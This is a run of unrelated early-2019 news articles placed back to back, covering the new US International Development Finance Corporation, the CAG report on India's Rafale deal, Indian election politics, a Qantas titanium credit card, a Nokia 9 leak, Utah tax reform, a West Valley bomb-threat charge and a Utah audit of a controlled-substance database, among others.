The United States has given shape to a new international development agency combining the Overseas Private Investment Corporation (OPIC) and the US Agency for International Developments (USAID) Development Credit Authority.

The DFC has new development finance capabilities, including equity authority, and a higher lending limit than its predecessor.

The US International Development Finance Corporation, which has a corpus of $60 billion, will be able to make equity investments in the private sector in overseas projects, according to US government officials.

The DFC will be able to make equity investments for the first time and do technical assistance and feasibility studies on potential investments that will help with identification of deals early in the process. It will be able to provide political risk insurance and political loan guarantees to help support a more active US commercial presence in the region, Thomas L Vajda, acting deputy assistant secretary, Bureau of South and Central Asian Affairs, said.

The establishment of the US International Development Finance Corporation follows the Senate passing the Better Utilisation of Investment Leading to Development, or BUILD Act, on 4 October 2018.

The Trump administration had recommended eliminating OPIC in its first budget. The agency operated without a long-term reauthorisation for more than a decade and previous attempts, the latest being in 2015, to reauthorise OPIC had failed.

But a dedicated bipartisan group of lawmakers, administration officials, advocates, and think tank experts finally succeeded in creating a more efficient agency that would help counter Chinas growing influence.

By replacing the Overseas Private Investment Corporation, the DFC also unlocked over $30 billion in additional funding to facilitate private sector investments globally.

There is, however, no clarity as to where USAIDs Office of Private Capital and Microenterprise and its Enterprise Funds will end, along with details about personnel, assets, and functions of the new DFC. OPIC has already been working with USAIDs DCA on fiscal year 2020 budget requests and USAID was expected to play a key role in the discussions about the new institution.

The administration, likely led by OPIC, will have to work on a number of policy issues related to the new authorities or instruments the DFC will have. This includes creating criteria for the use of equity investments, how it will use technical assistance grants, what framework it will use to decide if it will make a local currency loan, and when it will invest in non-US businesses or projects, which is also new.

Vajda, meanwhile, said the US was concerned about Indias data localisation law and the new e-commerce regulations.

Even as we look to help support and incentivise US overseas presence, we think its equally important that there be a sound enabling environment for foreign direct investment (FDI) and foreign commercial activity and so we are concerned about the data localisation law and the new e-commerce regulations that didnt take fully into account the needs of all stake holders, including American and other foreign companies. From our perspective, its in Indias interest when it undertakes these new policies to undertake this outreach to all stake holders and think very carefully about the impact on the overall business environment for American companies and other foreign firms. We again stand ready to work with India to have open communication about some of its policy initiatives to promote open and transparent business environment, Vajda said.

OPIC policies and procedures, along with its leadership, will transfer to the new agency, though the top posts may need to be re-confirmed by senate.NDA's Rafale deal 2.8% cheaper than UPA's agreement: CAG

The Rafale fighter jet deal concluded by Prime Minister Narendra Modi's government is 2.8 per cent cheaper than the one negotiated by the previous Congress-led UPA government, says the report of the Comptroller and Auditor General of India (CAG) in its reports submitted to Parliament.

Tabling the CAG report in the Rajya Sabha today, the defence ministry, however, maintained that the report does not include the controversial and key points of pricing, as these details could not be revealed. The parts in the report referring to cost have been redacted, a move that would provide more ammunition to the opposition.

The opposition Congress and other opposition parties dismissed the CAG report as biased because auditor Rajiv Mehrishi was Finance Secretary when 36-jet Rafale deal was inked in 2016.

While the cost of the basic aircraft is the same in both cases, the CAG report says compared to the 126-aircraft deal negotiated by the Congress-led government, India managed to save 17.08 per cent money for the India Specific Enhancements in the new contract.

The CAG report, however, noted that by settling for a Letter of Comfort rather than a sovereign guarantee by the French government, the Indian government lost a chance to address any breach of agreement through the French government. India would now have to first settle the matter through arbitration directly with the French vendors.

The 2007 UPA deal, however, included a 15 per cent bank guarantee against advance payments.

India had wanted 13 specific changes to the Rafale jet to make it more suited to the country's defence parameters. The CAG report suggests that the cost of these upgrades is far cheaper now.

"The lies of the Mahajhootbandhan stand exposed by the CAG report," tweeted union minister Arun Jaitley. "It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right," he added, taking a swipe at Congress president Rahul Gandhi, who has been pummeling the government with allegations of corruption in the deal to benefit industrialist Anil Ambani.

A defence ministry team had, in March 2015, recommended the scrapping of the previous 126-jet Rafale deal saying that Dassault Aviation was not the lowest bidder and the other player, European Aeronautic Defence and Space Company, was not fully compliant with the tender requirements, according to the CAG report.

The auditor also noted that failure of the Indian Air Force to fully define the Air Staff Qualitative Requirements or ASQRs properly to enable vendors fully meet the parameters.

Instead of defining in the ASQRs in terms of functional parameters, the IAF made it exhaustive and detailed technical or design specifications, such that none of the vendors could fully meet the ASQRs and user needs were sometimes overridden. ASQRs were also changed repeatedly during the procurement process.

The CAG report details have emerged as a report in The Hindu newspaper on Wednesday said at least three senior defence ministry officials among the seven-member Indian negotiating team were of the view that the final price offered by the French government cannot be considered as 'better terms' compared to the deal under the UPA.

The CAG report, however, highlighted the drawbacks of settling for a Letter of Comfort rather than a sovereign guarantee by the French government. The report noted that the 2007 UPA deal included a 15 per cent bank guarantee against advance payments. But, now with the conditions of the present deal, in case of a breach of agreement, India would now have to first settle the matter through arbitration directly with the French vendors.

However, with only a 'Letter of Comfort' in new deal, India would have to settle matter through direct arbitration in case of breach of trust. The absence of sovereign guarantee in deal would help Dassault Aviation save but benefit was not passed to India: CAG report

The CAG noted in its report that in the 2007 offer, Dassault Aviation had provided performance and financial guarantees which was about 25 per cent of the total value of the contract. The vendor had embedded the cost in its bid price. But in the 2016 contract there are no such guarantees/warranty. This led to saving for Dassault Aviation which was not passed on to India, it observed.

Several opposition leaders criticised the report and called it "incomplete" for missing out the controversial bit on the pricing of the Rafale aircraft. However, the BJP-led central government has already said in the Parliament that the pricing of the deal can't be revealed.

Against the three years envisaged in the Defence Procurement Process, four cases took more than three years and seven cases took more than five years to reach the contract conclusion stage. The report states that the delays in the acquisition were essentially due to a complex and multi-level approval process, where objections could be raised at any stage.

The defence ministry had argued in 2016, the contracted price was nine per cent lower than the price of the 2007 deal. But, according to the CAG report the basic flyaway aircraft was bought at the same price as at the time of UPA's deal and the deal was only 2.86 per cent cheaper.

Reacting to CAG report on Rafale deal, senior Congress leader P Chidambaram tweeted, "No bank guarantee, no sovereign guarantee and no Escrow account! No anti-corruption clause!"

The report has said that the ministry of defence had sought opening of an Escrow account to manage the payments as a measure of safeguard. However, the French side did not agree.The former deputy chief minister indicated that the BJP and Sena would form an alliance for the LS polls.

Mumbai: Barely days after NCP chief Sharad Pawar made it clear that his party will not fight the Lok Sabha polls along with the MNS, his nephew and senior party leader Ajit Pawar Tuesday took a completely different stand about relations with the Raj Thackeray-led party. The MNS should join the Opposition alliance to defeat the Modi government in the LS polls, he said.

To prevent the division of Opposition votes, the MNS should join hands with the Opposition in the forthcoming elections. With an aim to defeat the BJP-Shiv Sena, parties with a secular mindset should come together. The MNS had polled lakhs of votes in the last elections. Hence, I personally feel that all Opposition parties should forget the past and come together to prevent the division of votes, said Ajit Pawar.

No party leaves a seat where it has a sitting MP. However, we can consider leaving other seats. Hence, one should not stretch too much for one or two seats, he added.

The former deputy chief minister indicated that the BJP and Sena would form an alliance for the LS polls. They are just applying pressure tactics to increase their bargaining power, but the BJP and Sena will definitely come together. The only issue left for them is to finalise the seat-sharing formula, he said.

The former deputy chief minister also indicated taking help from Swabhimani Shetkari Sanghatana leader and MP Raju Shetti. If there are any misunderstandings, I have informed the party leaders to resolve them at the earliest, he said.

However, Mr Shetti told The Asian Age that no discussion had been held with the Opposition leaders about forming an alliance. We had started out preparations to fight nine Lok Sabha polls independently long back. But we are fully aware that we have to forego some of the seats if the alliance takes place, he said.Qantas yesterday released a spanking new credit card that offers Qantas First Class Lounge access, Status Credits and flight discounts. It also comes loaded with enough Qantas Points for a complimentary business class flight from Sydney to London upon sign up.

If that werent enough, the Qantas Premier Titanium Mastercard is cut from metal (bringing a new meaning to the word sharp), offers the highest Qantas Points earn rate of all cards, and the highest number of sign-up bonus Qantas Points of any Mastercard or Visa credit card currently in market.

The only catch? To take advantage of these high roller advantages, you have to already be flash with cash; this ultra-premium bad boy is only available to people with an annual salary of at least $200,000 a year. If you belong to this exclusive club, however, further benefits of signing up are listed below.

Two Qantas First Lounge Invitations and two lounge Invitations for the Qantas Club Domestic and selected International Business Lounges

20 per cent bonus Status Credits on Qantas flights

10 per cent discount on Qantas operated flights for up to two bookings per year for two people on all fare classes (both international and domestic)

150,000 bonus Qantas Points when you spend $5,000 within 90 days of card approval

Two Qantas Points per $1 spent overseas, up to 1.25 Qantas Points in Australia and extra points when spending with Qantas

View this post on Instagram A post shared by Isabella Rose (@bfitbybelll) on Sep 17, 2018 at 5:14pm PDT

In a press release, Qantas Loyalty CEO Olivia Wirth said the Titanium card would appeal to Qantas growing group of high spending members, who maximise their points earn across the program on everyday purchases (in some cases, buying enough wine to score an upgrade).

We started our loyalty program for frequent flyers, but as the number of partners has grown its actually frequent buyers who are now earning the most points.

The top 1,000 points balances are held by members who have maximised their points earn on everyday spend, with our partners like Woolworths and Red Energy or by using Qantas Points-earning credit cards. The expansion of the program means you can earn points buying wine or buying a car, so the potential for larger balances without flying is huge, she continued.

In the past 12 months, one member earned more than 30 million Qantas Points on credit card spend. Thats equivalent of over 100 round the world trips in business class.

Qantas also highlighted that credit card spend on a Qantas loyal credit card is one of the most popular ways for members to add to their points balances. In fact, thirty-five per cent of all credit card spend in Australia is on a Qantas or Qantas Frequent Flyer co-branded credit card.

View this post on Instagram A post shared by Hayden Quinn (@hayden_quinn) on Jan 21, 2019 at 2:14am PST

But back to the Premier Titanium. If you are already on an existing Qantas program and this metallic money machine tickles your wallet in all the right spots, you can (fairly) easily switch over, as this ultra premium offering complements the existing Qantas Money credit cards (Qantas Premier Platinum and Qantas Premier Everyday)  which both launched in 2017.

However, with an annual fee of $1,200 and the aforementioned minimum annual income requirement of $200,000, Qantas Premier Titanium card is the most exclusive of the bunch.

What drove the company to target this market? Loyalty CEO Olivia Wirth put it like this: Were seeing more and more of our members with points balances in the millions through strategic credit card use and leveraging program partners. The Qantas Premier Titanium card will help boost their points potential and deliver a more rewarding Qantas experience.

It comes with a significant annual fee, but has significant benefits.

Additional info of note: the 10 per cent flight discounts can save cardholders thousands of dollars per year. An individual travelling business class with their partner to London and Hong Kong return, for example, can save around $2500 per annum.

View this post on Instagram A post shared by Qantas (@qantas) on Feb 12, 2019 at 1:56pm PST

Oh and based on $10,000 domestic spend per month, the Titanium card has the potential to generate enough points in a year for a one-way upgrade from Economy to Business for two people to Honolulu or a return Classic Flight Reward in economy for two people to Singapore. Lifes not bad at the top, huh?

RELATED: Qantas Business Class Suite A330  An Honest ReviewThe ruling BJP demanded that the Congress president Rahul Gandhi should apologise to the nation for shamelessly lying on the issue.

New Delhi: Asserting that the Comptroller and Auditor General (CAG) report on Rafale has reaffirmed the dictum truth shall prevail, senior Bharatiya Janata Party (BJP) leader and Union minister Arun Jaitley on Wednesday said the report has exposed the Mahajhootbandhan (o-pposition alliance).

The ruling BJP demanded that the Congress president Rahul Gandhi should apologise to the nation for shamelessly lying on the issue. Condemning Mr Gandhi for calling Prime Minister Narendra Modi a traitor, the BJP reminded the Congress president that the post he currently holds had predecessors including Jawarahlal Nehru, Motilal Nehru, Sardar Patel and Maulana Azad.

The CAG report on Rafale, tabled in the Rajya Sabha, said that the deal negotiated by the NDA in 2016 was 2.86 per cent cheaper than what was negotiated by the UPA in 2007.

In a series of tweets after the report was tabled in Parliament, Mr Jaitley said: It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right. Satyameva Jayate  the truth shall prevail. The CAG report on Rafale reaffirms the dictum. He said, the CAG report outlines that 2016 deal terms were lower in terms of price, faster in terms of delivery, while ensuring better maintenance and lower

escalation.Hewitt

McNeil

Graden-Cott

Fagerlund

Reynders

Seattle-based Hewitt promoted John Reynders to associate and hired Hans Fagerlund, Laura Graden-Cotts and Jasmine McNeil as architecture staff. Reynders is in the mixed-use and residential architecture studio where he has contributed to design for Mama Tower (1516 Second Ave.), 5th & Roy and Asian Plaza mixed-use developments, plus design of the Clean Energy Technology Center in Snohomish County. Fagerlund is an associate and project manager with 19 years of experience on multi-family, mixed-use residential projects, as well as adaptive re-use, hospitality, commercial and higher education. He is managing design development for the 222 Dexter condo tower. Graden-Cotts has a master in architecture from the University of Idaho and five years of experience. She is managing architecture construction administration for Northgate and Roosevelt light rail stations. McNeil is a Virginia Tech University graduate. She is assisting with architecture construction administration for two stations on Northgate Link. Hewitt provides architecture, landscape architecture and urban design.



Kejriwal said the Prime Minister should come clean on the CAG report on the Rafale deal as he was accountable to the nation.

New Delhi: Showcasing their might on the last day of the current Parliament, the Opposition parties held a joint rally in the nations capital organised by the Arvind Kejriwal-led Aam Aadmi Party and it was attended by almost all parties.

The Left parties  both CPI(M) and CPI  marked their presence but left the venue before the arrival of West Bengal chief minister Mamata Banerjee, who was the star speaker. Similarly, while there were doubts over whether the Congress Party would attend, senior leader Anand Sharma joined later. Sources said the decision to send Mr Sharma was taken by Mrs Sonia Gandhi after a brief encounter with the Trinamul chief at Parliaments Central Hall.

Ms Banerjee told the gathering that democracy has become Namocracy and the situation in the country now was worse than the Emergency. She said the Opposition parties would fight unitedly at the national level to oust the NDA from power.

The Trinamul Congress chief also attacked the Centre over the CBIs failed bid to question Kolkata police commissioner Rajeev Kumar at his home, saying she had not seen a government that stooped so low.

Delhi chief minister Arvind Kejriwal launched a scathing attack on Prime Minister Narendra Modi, alleging he was trying to tear apart the Constitution and destroy democracy. Mr Kejriwal said the Prime Minister should come clean on the CAG report on the Rafale deal as he was accountable to the nation.

Modi is trying to tear apart the Constitution. He is destroying democracy, he said at the mega-rally of the Opposition parties organised at Jantar Mantar.

Telugu Desam Party president and Andhra Pradesh chief minister N. Chandrababu Naidu said the days of the NDA government were numbered, and gave a call to the people of the country to defeat the Modi government in the coming elections. We are going to defeat the NDA. Are you ready? he asked the crowd.FOR IMMEDIATE RELEASE

February 13, 2019

Contact: Andrew Hansen

Office: 217-321-1108

Quincys Fr. Tolton, the nations first black priest, moving closer to sainthood

Springfield, IL - One of the Diocese of Springfield in Illinois own, Fr. Augustine Tolton, continues to move toward sainthood. The cause for beatification and canonization of Servant of God Fr. Tolton, the nations first black priest - who served and is buried in Quincy - advanced recently in Rome.

On Feb. 5, the Theological Consultants of the Congregation for the Causes of Saints unanimously approved that his cause move forward.

Following their approval, Fr. Toltons cause now moves to the Cardinal and Archbishop members of the Congregation for the Causes of Saints, as well as to the Holy Father Pope Francis, for their consideration. If Pope Francis agrees that Fr. Tolton lived a life of heroic virtue, Fr. Tolton would receive the title Venerable.

We hope Fr. Tolton will be declared Venerable before the end of the year, said Fr. Daren Zehnle, Pastor at St. Augustine Parish in Ashland and a Quincy native who has helped in the canonization process. This is a very exciting time. To have someone from our Diocese on the way to sainthood is a source of great joy. His life of long-suffering and perseverance in the face of slavery, prejudice, and hatred is a great witness of faith. His life is one we should imitate  one of heroic virtue, humility and gentleness, joined together in the love of God and of neighbor.

The Archdiocese of Chicago and the Diocese of Springfield in Illinois have been working together on Toltons cause.

If Fr. Tolton were to be declared Venerable, Rome would next investigate a miraculous healing, attributable to Fr. Toltons intercession. If that is found to have occurred, he would be declared Blessed. Another miracle would make him a saint. At least one miracle has already been submitted for review.

Fr. Tolton was born into slavery in 1854. In 1862, his mother and siblings made a daring escape across the Mississippi River to Illinois. After settling in Quincy, he went to school at St. Peters Catholic School. Tolton later went to seminary school in Rome, because no American seminary would accept a black man. Thinking he would minister in Africa, once he was ordained, he was instead sent back to Quincy, where he arrived to thousands of supporters. Known for his incredible singing and homilies, Tolton spent several years in Quincy before transferring to Chicago. He died of heatstroke at the age of 43 and is buried at St. Peters Cemetery in Quincy.

###Highlights:

The Nokia 9 Pureview (  13999 at Tatacliq ) will tout a pair of 16MP sensors, another pair of 12MP sensors and a lone 8MP sensor.

The camera can shoot 64MP photos.

All five cameras can be fired at the same time according to the report.

The Nokia 9 Pureview is perhaps the most anticipated phones to launch at MWC 2019. The flagship Nokia phone has been under development for more than year, and based on multiple reports, it is slated to see the light of the day on February 24th in Barcelona. The phone is particularly interesting for the camera setup on the back, apart from features like in-display fingerprint sensor and wireless charging. Furthermore, apart from a few photos leaked online, Nokia managed to keep a close lid on specific information about the phone. But now, a new report by Nokia Power User has revealed a lot of details about the phones specifications.

According to the report, the penta-lens camera on the Nokia 9 Pureview will be able to shoot 64-megapixel images. There will be a pair of 12-megapixel sensors and another pair of 16-megapixel sensors. The fifth sensor has an 8-megapixel resolution. Furthermore, the report claims the Nokia 9 Pureview will come with Light camera technology. Light is a company that specialises in computational photography and was the company behind the infamous 16-lens camera launched in 2017. The collaboration might see the Nokia 9 Pureview perform things like lossless zoom, 3D depth mapping and more.

Furthermore, the report reveals the Nokia 9 Pureview might be able to shoot images through all the five sensors at the same time. By doing so, it can apparently capture more light for better images in low-light.

The Nokia 9 Pureview is all but confirmed to launch this month. The phone recently passed through FCC and also got approved by 3C body in China. Previous reports have stated the flagship phone will tout a 5.99-inch AMOLED display with Quad HD+ resolution along with support for HDR10. Under the hood will be a Snapdragon 845 SoC. The chipset will supposedly be paired with 6GB of RAM and 128GB of storage. There could be a smaller variant as well with 4GB RAM and 128GB storage.

Like all Nokia phones, this one too is expected to be Android One certified and will run on stock Android 9 Pie. Lastly, the phone is slated to house a big 4,150mAh battery with support for 18W fast charging.

Related Links:

Nokia 9 Pureview with penta camera setup leaked in live images ahead of February 24 MWC launch

Nokia 9 Pureview spotted with Snapdragon 845, 6GB RAM on Google Play Console, specs of Nokia 1 Plus also revealedHyundai Corporation, mostly known for its cars in India, has launched its electronics segment through its extended arm Hyundai Electronics. The company has come up with a series of Smart LED TVs, Air conditioners, Washing machines and refrigerators for the consumer market. According to the company, they're targeting three percent of the market in their first year of operation.

Hyundai Electronics will be launching eleven different variants of its Smart LED TV category. The company claims their smart LED TVs will be equipped with AI that can recognize voice commands. The users can speak into their mobile phones to control TV functions. They further mentioned that the AI will be integrated with the OS on the TV for easy access using a universal mobile app which can further be controlled with the user's voice.

The company is also about to launch an intelligent range of refrigerators which Hyundai claims will be best suited for the Indian market. The refrigerators would come with some smart features for energy efficiency and smart modes according to various food types.

Additionally, Hyundai Electronics plans to offer large capacity washing machines for the Indian consumer market. The washing machines will be available in both the ranges Fully automatic and semi-automatic. It will offer features like optimal wash selection and will also include modes to save water.

Hyundai Electronics further plans to launch a series of Smart Intelligent Air Conditioners in India. The company claims the Air Conditioners will come with intelligent features that will detect outside air humidity and accordingly set the temperature inside the home without the need for human intervention. Furthermore, aside from smart features, the Air Conditioners will run silently even during high outdoor temperatures.

At the launch, Hyundai Electronics CEO, Mr. Akshay Dhoot (pictured above), said With the vision to deliver seamlessly integrated technology to every household, we have brought in a wide range of Hyundais electronic appliance to India, India is one of the key emerging markets with a burgeoning consumer durable segment and with our entry, we are committed to giving Indian consumers an exposure to smart goods. With the vision to understand our customers better and anticipate their needs, we shall always endeavour to deliver products that contribute meaningfully in offering a more enriching experience.

Additionally Mr Abhishek Malpani, COO, Hyundai Electronics, said Hyundai Electronics continuously worked to usher a paradigm shift in the way people work, play and live today. This year, we are taking another leap to expand our footprints in the Indian market with our diverse range of products. These products will demonstrate the entire gamut of innovation and expertise that Hyundai is known for and we shall remain committed to offering smart products for the Indian market."Mulayam Singh Yadav later ducked questions on his praise for Modi when he was mobbed by reporters while leaving the Lok Sabha.

New Delhi: Samajwadi Party patriarch Mulayam Singh Yadav on Wednesday created a flutter in Parliament when in the course of his farewell speech on the last day of the 16th Lok Sabha said that he wished to see Narendra Modi back as Prime Minister for a second term.

While the Prime Minister, who was sitting across the chamber, acknowledged his blessing with folded hands, UPA chairperson Sonia Gandhi, sitting next to Mr Yadav, looked at him with consternation. The treasury benches, though, broke out into peals of laughter.

The veteran Samajwadi leader, known as a wily politician, said: I wish that all members come back to the House.

And then, pointing to Mr Modi, Mr Yadav said he wishes that the BJP leader comes back as the Prime Minister, remarks that drew repeated applause from the treasury benches. I wish pradhan mantriji becomes pradhan mantri again, he said.

The blessings for Mr Modi by Mr Yadav came at a time when his son Akhilesh Yadav has joined hands with arch-rival Mayawati of the Bahujan Samaj Party to challenge the BJP in the politically crucial state of Uttar Pradesh in the coming Lok Sabha polls.

Members of the ruling NDA alliance lustily cheered Mr Yadav with chants of Jai Shri Ram as he praised Mr Modi for making efforts to take everyone along. I congratulate him (Modi) for making efforts to take everyone along, Mr Yadav said, adding that the Prime Minister has done good work.

Mr Modi acknowledged the SP patriarchs praise with folded hands and later made a mention of Mr Yadavs blessings when he took the floor to deliver his speech.

There is much to do. And Mulayam Singhji has given his blessings. I am very grateful to him, Mr Modi said in his speech later.

Mr Mulayam Singh Yadav later ducked questions on his praise for Mr Modi when he was mobbed by reporters while leaving the Lok Sabha.The European Commission (EC) has approved the acquisition by the investment group PPF of four Telenor subsidiaries serving CEE (Central and Eastern Europe).

The agreement, which was first made public in March, will see PPF take over Telenors local operators in Bulgaria, Hungary, Montenegro and Serbia. Additionally, the Norwegian groups regional network and IT business Telenor Common Operation will be included in the transaction, which is valued at 2.8 billion.

Several companies were believed to have expressed interests in the assets before PPF emerged as the forerunner. The EC stated that while PPF already has a presence in the CEE region, with its assets including O2s unit in the Czech Republic, the acquisition does not threaten competition.

The EC statement said that the deal would not give rise to horizontal overlaps, as the companies activities are confined to the different territories in which they hold their respective telecommunications licences. In addition, the Commission found that the vertical links between the upstream and downstream markets for retail, mobile and fixed telecommunications services arising from the transaction would be unproblematic.

Telenor is divesting assets that do not align with its new strategy, which focuses on its markets in Scandinavia and Asia. The operator has stated that it will fund a shareholder dividend via the PPF deal.Not Just You, But These Bollywood Celebrities Also Gatecrashed Weddings For Fun

There are only so many instances in life when you can say, Bollywood stars are just like me. Believe it or not, if you have ever gate-crashed a wedding in your life, there is something you have in common with your favorite stars.

Can you even imagine taking the seven rounds as Ranveer Singh or Ayushmann Khurrana suddenly shows up at your wedding? But, for a lucky few this actually came true. Read on to find which Bollywood actors gatecrashed weddings.

Ranveer Singh

During the promotions of Simmba, Ranveer was busy talking about his films in one of the hotels in Mumbai. However, when he noticed that a wedding was going on in the same hotel, he decided to gatecrash the wedding. He simply walked in, blessed the pride and happily posed for a picture with the guests.

Ayushmann Khurrana and Kriti Sanon

During the promotions of their film Bareilly Ki Barfi, they decided to take it on another level. Ayushmann and Kriti not only walked into a random wedding but also danced to Sweety Tera Drama with all the guests. The surprised reaction of the guests at the wedding are simply too real.

Taapsee Pannu

Looks like gatecrashing wedding as a promotional strategy is quite a popular idea. While promoting her film RunningShaadi.com, Taapsee Pannu did the same. Talking about her experiences Taapsee later said, I was so thrilled and slightly nervous to execute this idea. Nothing can be more special to play the first song of our film in a real shaadi. I took the risk of gatecrashing the sangeet ceremony and to my surprise, the guests there welcomed me with equal enthusiasm.

Atif Aslam, Shirley Sethia and DJ Chetas

What would you do if not one but three biggest musical talents gatecrash your wedding? DJ Chetas, Shirley Sethia, and Atif Aslam did exactly that while promoting the remake of Jab Koi Baat for which they collaborated.

Rajkummar Rao and Kriti Kharbanda

Rajkummar Rao and Kriti Kharbanda were actually shooting a wedding sequence in Lucknow when they came to know about a real wedding going on right next to where they were shooting. Instantly, they decided to pay the couple a visit and make their special day a little more special.

Fatima Sana Shaikh and Rajkummar Rao

Looks like Rajkummar Rao is a huge fan of gatecrashing weddings. Recently, he was shooting with Fatima Sana Shaikh in Bhopal when they spotted a baraat passing them. The two instantly decided to join the baraatis and shake a leg with them.SALT LAKE CITY  Republican lawmakers in the House and Senate will get their first look during their caucus meetings on Thursday at a tax reform plan that will include new taxes on services.

So far, behind-the-scene talks have brought agreement on what services are off the table, Sen. Lincoln Fillmore, R-South Jordan, said Wednesday, listing prescribed medical services, buying a house or paying rent, and tuition.

But other than those broad categories, Fillmore said, "everything is going to be on the table and it will be a question of how the negotiations work between the House and the Senate and the governor, and the stakeholders and the public."

Both Fillmore and Rep. Tim Quinn, R-Heber City, who's leading the effort in the House, said the tax reform bill itself is still being put together, so Thursday's caucus discussions will deal more with concepts than specifics.

Fillmore said he hopes a bill can be ready by the end of next week, so there's enough time for "ironing out the wrinkles" before the end of the 45-day session on March 14.

"I know that whenever this bill lands, it's going to create quite a stir. And I know it's going to take time to let the stirring sort itself out so we get the right mix," the senator said.

Gov. Gary Herbert has said the sales tax base could be broadened enough that, along with a $225 million tax cut, the 4.85 percent state sales rate as of April 1 could be cut to 1.75 percent.

GOP leaders, however, have said that while they support coming up with new taxes on services to bolster the declining sales tax base, they'd rather see that tax cut made in the state's 4.95 percent state income rate.

But a bill passed 21-2 by the Senate Wednesday, SB99, sponsored by Sen. Wayne Harper, R-Taylorsville, simply reduces the sales tax rate to 4.45 percent, a reduction of about $150 million.

The bill now goes to the House, where, if representatives advance it to the House floor, it will be held until the final budget is put together because of the sizable financial impact.

Harper said the bill is intended to honor a committment made by lawmakers years ago to adjust the sales tax rate if Utah was able to begin collecting sales taxes on online purchases from out-of-state vendors.

Those collections on retailers that either didn't have a presence in Utah or had agreed voluntarily to collect sales taxes started Jan. 1, following a U.S. Supreme Court ruling last year allowing states to go after the revenue.

"It has to be part of the discussion," Harper said of his bill. He said it puts the sales tax cut he is seeking "in the mix" as work continues on the larger tax reform plan also being referred to as tax modernization.

Senate Majority Leader Evan Vickers, R-Cedar City, agreed it's part of the talks going on with the House and the governor's office.

"You lay out all the tools," Vickers said. "It becomes a tool in that discussion."

Quinn said the bill could be viewed as a fallback should the tax reform effort fail.

"It would make some sense to me that if, and again, Im not speaking for (Harper) it may be viewed as a backstop," Quinn said. "In case this doesnt happen, hes got that."

However, he said just slicing the sales tax rate is "counterproductive to the problems we have" with a shrinking base for the tax that makes up the bulk of the state's general fund that pays for everything but education.

House Majority Leader Francis Gibson, R-Mapleton, said he'll "just have to see how that bill fits into globally in what were trying to do. I think more immediately pressing for me would be to look a the income tax."

Gibson said because Utahns are paying more state income tax now because of the federal tax cut, he would prefer to find a way to "hold them more harmless in state income taxes."

Senate Minority Leader Karen Mayne, D-West Valley City, said it's too soon to say whether Harper's bill will end up being a backstop.

"This morning, I was with the governor and he had different views on how we should do that. Thats going to be the conversation in both chambers, how to balance it," Mayne said. "Its going to be kind of a mumble jumble, a fix, a push and pull, but everything needs to be debated."WEST VALLEY CITY  Newly released court documents offer more details into a man's alleged threats to bomb several prominent businesses in West Valley City, including the Valley Fair Mall, a high school and emergency dispatchers.

Ismael Delgado Delacruz, 24, was charged Jan. 24 in 3rd District Court with making a terroristic threat, a second-degree felony.

Delacruz called the Valley Emergency Communications Center multiple times on Jan. 21 and "threatened to bomb VECC, the Valley Fair Mall, Starbucks and Granger High School," according to charging documents.

But the investigation into Delacruz actually began in late 2018 when a man made multiple calls to the 911 center from the same number, making statements such as wanting to fight with police and threatening to "rape" a dispatcher, according to a search warrant affidavit.

"The caller made mention of being a gang banger and of having a 'gas tank and a phone with Wi-Fi,'" the warrant states. "The same person called VECC from this phone number 18 times between Nov. 27, 2018, and Dec. 13, 2018."

Investigators identified Delacruz by talking with his family in California. They were also able to confirm from cellphone tower data that the calls were being placed from somewhere in Salt Lake County, the warrant states.

On Jan. 21, Delacruz again made multiple calls to the Valley Emergency Communications Center, and "stated that he was going to 'murder people' and threatened to 'bomb' VECC, Valley Fair Mall, Granger High School, Starbucks and the West Valley City police station," according to the warrant.

Delacruz also stated "he did not know how the 'bomb' could be 'deactivated' and that he did not 'plant the device' himself, 'someone else did,'" the warrant states.

His next scheduled court hearing is Feb. 25.SALT LAKE CITY  Health care professionals with expired licenses, including one whose had lapsed nearly four years earlier, accessed Utah's controlled substance database, a new state audit shows.

The state auditor's office found that seven people with expired licenses were able to log in to the secure system between October 2016 and November 2017. Five of them performed searches, with one search being done more than 3 1/2 years after the practioners license expired.

The unauthorized access was traced to a bug that prevented the system from verifying the license, according to the audit. The Utah Department of Professional Licensing, which oversees the database, fixed the bug five days after it was detected.

"Privacy protection is important to many Utahns. I am impressed with the proactive steps DOPL has taken to remedy issues identified in the audit," said State Auditor John Dougall.

Dougall said he also is encouraged by DOPLs willingness to work with the Legislature to define the appropriate retention schedule for personally identifiable information database, adding that excessive retention of personal data can expose Utahns to unnecessary privacy risk.

Utah lawmakers created the controlled substance database in 1995 to track the dispensing of prescription drugs. Access is restricted to 20 categories of people including DOPL employees, licensed medical practitioners and pharmacists.

Registered users include 18,025 health care providers and 2,565 pharmacists, and 1.6 million searches have been performed in the database, according to the audit.

In 2013, police in Cottonwood Heights searched 480 names of Unified Fire Authority firefighters in an effort to investigate a case involving painkillers missing from ambulances. An assistant fire chief who faced criminal charges as a result of the search sued Cottonwood Heights police, claiming a detective obtained his medical history through the database without probable cause or a search warrant.

The case prompted the Legislature to pass a law in 2015 requiring officers to get a search warrant before checking the database.

The audit released Wednesday also found 41 people received database accounts without proper approval, and documentation for five of them was never found. Although only one of those five logged in, each had the ability to do so, according to the audit.

Auditors also found:

 Inadequate password requirements that do not comply with DOPL policy.

 User accounts are not periodically reviewed for appropriateness.

 Management has not defined activities that should be monitored.

 Inadequate monitoring of user activity.

 Insufficient monitoring of testing documentation for application changes prior to deployment.

 Data retention policy exposes DOPL to unnecessary risk.

In written response to the audit, DOPL Director Mark Steinagel said the department was addressing issues identified in the report. He said the agency has or will adopt all of the audit's recommendations.SALT LAKE CITY  Starting this fall, Utah Valley University will partner with Silicon Slopes to offer a technology management emphasis master's in business administration at the nonprofit organization's headquarters in Lehi.

Utah Valley University President Astrid S. Tuminez, who addressed the Utah Legislature's Higher Education Appropriation Subcommittee Wednesday morning, described the partnership.

"Classes will be delivered in the classrooms of Silicon Slopes and we will be bringing in industry experts and executives to teach in this MBA. Not only will students be totally steeped in the world of practice, but even as they are studying, they get to be networking with those very people who could provide them with the right mentoring and the right employment opportunities," she said.

Tuminez announced the partnership earlier this month during the Silicon Slopes Tech Summit.

Silicon Slopes executives will speak to MBA students throughout the semester, providing relevant instruction for those seeking executive positions in the top tech companies in Utah. Silicon Slopes is a nonprofit organization that empowers Utahs startup and tech community to learn, connect and serve, according to its website.

UVU and Silicon Slopes both have these amazing stories of innovation and growth that have caused us to be national leaders in our respective fields, Norm Wright, dean of the Woodbury School of Business, said in a statement.

Wright said the partners have worked jointly for years to create jobs and the skilled workforce to fill those jobs.

